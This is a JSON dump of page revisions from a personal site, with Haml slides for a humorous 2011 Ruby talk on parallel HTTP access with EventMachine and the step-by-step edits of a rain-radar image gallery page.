@ssig33\r\n%div\r\n %p about me\r\n %p\r\n %a{:href =\u003e \"/\"}http://ssig33.com\r\n%div\r\n %p about なるほど四時じゃねーの","created_at":"2011-07-16T07:20:28.000Z","updated_at":"2011-07-16T07:20:28.000Z"},{"id":1772,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:80px;\r\n margin-bottom:100%;}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n %p @ssig33\r\n%div\r\n %p about me\r\n %p\r\n %a{:href =\u003e \"/\"}http://ssig33.com\r\n%div\r\n %p about なるほど四時じゃねーの","created_at":"2011-07-16T07:20:46.000Z","updated_at":"2011-07-16T07:20:46.000Z"},{"id":1773,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:80px;\r\n margin-bottom:100%;}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n %p @ssig33\r\n%div\r\n %p about me\r\n %p\r\n %a{:href =\u003e \"/\"}http://ssig33.com\r\n%div\r\n %p about なるほど四時じゃねーの\r\n %p 迷惑なツール\r\n%div\r\n %p Ruby での高速な HTTP アクセス\r\n%div\r\n %p Thread\r\n %p 論外、かと思いきやそうでもない\r\n%div\r\n %p Event Machine\r\n %p use em-http-request gem\r\n%div\r\n %p 利点\r\n %p 楽\r\n%div\r\n %p 欠点\r\n %p コールバック制御のだるさ\r\n %p 「常に 150 並列を保つ」みたいのが出来ないっぽい\r\n%div\r\n %p 致命的な欠点\r\n %p 180 並列を越えるあたりから異様に不安定になる\r\n%div\r\n %p 結論\r\n %p スパマーは Ruby 以外のツールを使うのがよい","created_at":"2011-07-16T07:24:49.000Z","updated_at":"2011-07-16T07:24:49.000Z"},{"id":1774,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:96px;\r\n margin-bottom:100%;}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n %p @ssig33\r\n%div\r\n %p about me\r\n %p\r\n %a{:href =\u003e \"/\"}http://ssig33.com\r\n%div\r\n %p about なるほど四時じゃねーの\r\n %p 迷惑なツール\r\n%div\r\n %p Ruby での高速な HTTP アクセス\r\n%div\r\n %p Thread\r\n %p 論外、かと思いきやそうでもない\r\n%div\r\n %p Event Machine\r\n %p use em-http-request gem\r\n%div\r\n %p 利点\r\n %p 楽\r\n%div\r\n %p 欠点\r\n %p コールバック制御のだるさ\r\n %p 「常に 150 並列を保つ」みたいのが出来ないっぽい\r\n%div\r\n %p 致命的な欠点\r\n %p 180 並列を越えるあたりから異様に不安定になる\r\n%div\r\n %p 結論\r\n %p スパマーは Ruby 以外のツールを使うのがよい","created_at":"2011-07-16T07:25:08.000Z","updated_at":"2011-07-16T07:25:08.000Z"},{"id":1775,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:96px;\r\n margin-bottom:100%;}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n %p @ssig33\r\n%div\r\n %p about me\r\n %p\r\n %a{:href =\u003e \"/\"}http://ssig33.com\r\n%div\r\n %p about なるほど四時じゃねーの\r\n %p 迷惑なツール\r\n%div\r\n %p Ruby での高速な HTTP アクセス\r\n%div\r\n %p 高速な HTTP アクセスが出来て何が嬉しいか?\r\n%div\r\n %p ポルノ画像の収集に便利\r\n%div\r\n %p どうやる?\r\n%div\r\n %p Thread\r\n %p 論外、かと思いきやそうでもない\r\n%div\r\n %p Event Machine\r\n %p use em-http-request gem\r\n%div\r\n %p 利点\r\n %p 楽\r\n%div\r\n %p 欠点\r\n %p コールバック制御のだるさ\r\n %p 「常に 150 並列を保つ」みたいのが出来ないっぽい\r\n%div\r\n %p 致命的な欠点\r\n %p 180 並列を越えるあたりから異様に不安定になる\r\n%div\r\n %p 結論\r\n %p スパマーは Ruby 以外のツールを使うのがよい","created_at":"2011-07-16T10:02:34.000Z","updated_at":"2011-07-16T10:02:34.000Z"},{"id":1776,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:96px;\r\n margin-bottom:100%;}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n %p @ssig33\r\n%div\r\n %p about me\r\n %p\r\n %a{:href =\u003e \"/\"}http://ssig33.com\r\n%div\r\n %p about なるほど四時じゃねーの\r\n %p 迷惑なツール\r\n%div\r\n %p Ruby での高速な HTTP アクセス\r\n%div\r\n %p 高速な HTTP アクセスが出来て何が嬉しいか?\r\n%div\r\n %p ポルノ画像の収集に便利\r\n%div\r\n %p どうやる?\r\n%div\r\n %p Thread\r\n %p 論外、かと思いきやそうでもない\r\n%div\r\n %p Event Machine\r\n %p use em-http-request gem\r\n%div\r\n %p 利点\r\n %p 楽\r\n%div\r\n %p 欠点\r\n %p コールバック制御のだるさ\r\n %p 「常に 150 並列を保つ」みたいのが出来ないっぽい\r\n%div\r\n %p 致命的な欠点\r\n %p 180 並列を越えるあたりから異様に不安定になる\r\n%div\r\n %p 結論\r\n %p スパマーは Ruby 以外のツールを使うのがよい","created_at":"2011-07-16T10:52:39.000Z","updated_at":"2011-07-16T10:52:39.000Z"},{"id":1777,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:96px;\r\n margin-bottom:100%;}\r\n body{\r\n font-color:white;\r\n background-color:black;\r\n }\r\n a{color:yellow}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n %p @ssig33\r\n%div\r\n %p about me\r\n %p\r\n %a{:href =\u003e \"/\"}http://ssig33.com\r\n%div\r\n %p about なるほど四時じゃねーの\r\n %p 迷惑なツール\r\n%div\r\n %p Ruby での高速な HTTP アクセス\r\n%div\r\n %p 高速な HTTP アクセスが出来て何が嬉しいか?\r\n%div\r\n %p ポルノ画像の収集に便利\r\n%div\r\n %p どうやる?\r\n%div\r\n %p Thread\r\n %p 論外、かと思いきやそうでもない\r\n%div\r\n %p Event Machine\r\n %p use em-http-request gem\r\n%div\r\n %p 利点\r\n %p 楽\r\n%div\r\n %p 欠点\r\n %p コールバック制御のだるさ\r\n %p 「常に 150 並列を保つ」みたいのが出来ないっぽい\r\n%div\r\n %p 致命的な欠点\r\n %p 180 並列を越えるあたりから異様に不安定になる\r\n%div\r\n %p 結論\r\n %p スパマーは Ruby 以外のツールを使うのがよい","created_at":"2011-07-16T11:27:19.000Z","updated_at":"2011-07-16T11:27:19.000Z"},{"id":1778,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:96px;\r\n margin-bottom:100%;}\r\n body{\r\n color:white;\r\n background-color:black;\r\n }\r\n a{color:yellow}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n %p @ssig33\r\n%div\r\n %p about me\r\n %p\r\n %a{:href =\u003e \"/\"}http://ssig33.com\r\n%div\r\n %p about なるほど四時じゃねーの\r\n %p 迷惑なツール\r\n%div\r\n %p Ruby での高速な HTTP アクセス\r\n%div\r\n %p 高速な HTTP アクセスが出来て何が嬉しいか?\r\n%div\r\n %p ポルノ画像の収集に便利\r\n%div\r\n %p どうやる?\r\n%div\r\n %p Thread\r\n %p 論外、かと思いきやそうでもない\r\n%div\r\n %p Event Machine\r\n %p use em-http-request gem\r\n%div\r\n %p 利点\r\n %p 楽\r\n%div\r\n %p 欠点\r\n %p コールバック制御のだるさ\r\n %p 「常に 150 並列を保つ」みたいのが出来ないっぽい\r\n%div\r\n %p 致命的な欠点\r\n %p 180 並列を越えるあたりから異様に不安定になる\r\n%div\r\n %p 結論\r\n %p スパマーは Ruby 以外のツールを使うのがよい","created_at":"2011-07-16T11:27:30.000Z","updated_at":"2011-07-16T11:27:30.000Z"},{"id":1779,"name":"activity","body":"# ssig33 activity history\r\nexcluding the operations of the company...\r\n## 2011\r\n### Talk on Darkness-RubyKaigi\r\nTalk about parallel HTTP access on Ruby. Detail is [here(Japanese)](http://text.ssig33.com/62).\r\n\r\n### [Rolling Icon](http://icon.ssig33.com)\r\nTwitter Icon Manager. for PC ,Smartphone and Feature Phone. That's can manage a lots of icon with Simple interface. Currently, for Japanese users only. I'm working for English user...\r\n\r\n\u003chr /\u003e\r\n[Back To The Top](/)","created_at":"2011-07-17T17:05:23.000Z","updated_at":"2011-07-17T17:05:23.000Z"},{"id":1780,"name":"radar","body":"haml Radar\r\n!!!\r\n%title Radar\r\n-Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.each{|i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{d}\", :alt =\u003e \"\"}\r\n}","created_at":"2011-07-18T23:43:43.000Z","updated_at":"2011-07-18T23:43:43.000Z"},{"id":1781,"name":"radar","body":"haml Radar\r\n!!!\r\n%title Radar\r\n-Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.each do| i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{d}\", :alt =\u003e \"\"}","created_at":"2011-07-18T23:43:57.000Z","updated_at":"2011-07-18T23:43:57.000Z"},{"id":1782,"name":"radar","body":"haml Radar\r\n!!!\r\n%title Radar\r\n-Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.each do|i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}","created_at":"2011-07-18T23:44:09.000Z","updated_at":"2011-07-18T23:44:09.000Z"},{"id":1783,"name":"radar","body":"haml Radar\r\n!!!\r\n%title Radar\r\n-Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i.each do|i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}","created_at":"2011-07-18T23:44:35.000Z","updated_at":"2011-07-18T23:44:35.000Z"},{"id":1784,"name":"radar","body":"haml Radar\r\n!!!\r\n%title Radar\r\n-Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}.each do|i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}","created_at":"2011-07-18T23:44:43.000Z","updated_at":"2011-07-18T23:44:43.000Z"},{"id":1785,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n %div\r\n source: [http://www.river.go.jp/img/summary/radar_Area80.png](http://www.river.go.jp/img/summary/radar_Area80.png)\r\n %div \r\n -Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}.each do|i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n","created_at":"2011-07-19T01:11:26.000Z","updated_at":"2011-07-19T01:11:26.000Z"},{"id":1786,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n %div\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %div \r\n -Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}.each do|i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n","created_at":"2011-07-19T01:12:07.000Z","updated_at":"2011-07-19T01:12:07.000Z"},{"id":1787,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n %div\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %div \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n","created_at":"2011-07-19T01:13:20.000Z","updated_at":"2011-07-19T01:13:20.000Z"},{"id":1788,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n #main \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images = image.slice ((page-1)*5),(page*5)\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\"}Older","created_at":"2011-07-19T01:14:45.000Z","updated_at":"2011-07-19T01:14:45.000Z"},{"id":1789,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n #main \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images = image.slice ((page-1)*5),(page*5)\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\"}Older","created_at":"2011-07-19T01:15:18.000Z","updated_at":"2011-07-19T01:15:18.000Z"},{"id":1790,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n #main \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images = images.slice ((page-1)*5),(page*5)\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\"}Older","created_at":"2011-07-19T01:15:29.000Z","updated_at":"2011-07-19T01:15:29.000Z"},{"id":1791,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n #main \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images = images.slice ((page-1)*5),(page*5)\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older","created_at":"2011-07-19T01:15:43.000Z","updated_at":"2011-07-19T01:15:43.000Z"},{"id":1792,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n #main.autopagerize_page_element \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images = images.slice ((page-1)*5),(page*5)\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older","created_at":"2011-07-19T01:15:55.000Z","updated_at":"2011-07-19T01:15:55.000Z"},{"id":1793,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n #main.autopagerize_page_element \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images = images.slice((page-1)*5),(page*5)\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older","created_at":"2011-07-19T01:16:17.000Z","updated_at":"2011-07-19T01:16:17.000Z"},{"id":1794,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n #main.autopagerize_page_element \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images = images.slice(((page-1)*5),(page*5))\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older","created_at":"2011-07-19T01:18:16.000Z","updated_at":"2011-07-19T01:18:16.000Z"},{"id":1795,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n =params[:page]\r\n #main.autopagerize_page_element \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images = images.slice(((page-1)*5),(page*5))\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older","created_at":"2011-07-19T01:19:15.000Z","updated_at":"2011-07-19T01:19:15.000Z"},{"id":1796,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n =request.params[\"page\"]\r\n #main.autopagerize_page_element \r\n -images = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\n -page = params[:page].to_i rescue 1\r\n -images = images.slice(((page-1)*5),(page*5))\r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/#{i}\", :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older","created_at":"2011-07-19T01:19:34.000Z","updated_at":"2011-07-19T01:19:34.000Z"},{"id":1797,"name":"radar","body":"haml Radar\r\n-# vim:set ft=haml :\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel 